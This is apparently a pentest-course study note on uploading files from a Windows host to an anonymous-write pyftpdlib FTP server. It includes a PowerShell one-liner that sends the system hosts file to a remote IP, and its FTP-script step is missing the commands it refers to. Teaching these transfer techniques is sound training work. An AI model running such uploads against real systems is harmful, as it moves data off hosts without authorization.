πŸ“‘ FTP Uploads

πŸ“‘ FTP Uploads β€” Sending Files the Old-School Way

Just like downloading files via FTP, you can upload files using either:

  • PowerShell

  • The classic Windows FTP client

Let’s walk through how to set up your FTP server to accept uploads and how to send files from a Windows host! 🧭


πŸ› οΈ Step 1: Start Your FTP Server with Upload Support

Use the pyftpdlib Python module. But this time, include the --write flag to allow uploads ✍️

sudo python3 -m pyftpdlib --port 21 --write

⚠️ You may see this warning:

write permissions assigned to anonymous user

That's okay! It just means anonymous users can upload files.


πŸ“€ Step 2: Upload a File with PowerShell

Use UploadFile() from the Net.WebClient class in PowerShell to push a file:

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

βœ… This uploads your Windows hosts file to the FTP server and saves it as ftp-hosts.


πŸ“ Step 3: Use Windows FTP Client to Upload

If you can’t use PowerShell or want to stay old-school, you can create a scriptable FTP command file:

Now run the FTP command using that file:

πŸ’‘ This avoids interactivity and runs everything in one go!


πŸ” Notes & Tips

  • binary ensures the file isn’t corrupted (important for non-text files!).

  • Make sure port 21 is open and accessible.

  • Consider enabling authentication if you're worried about security.

Last updated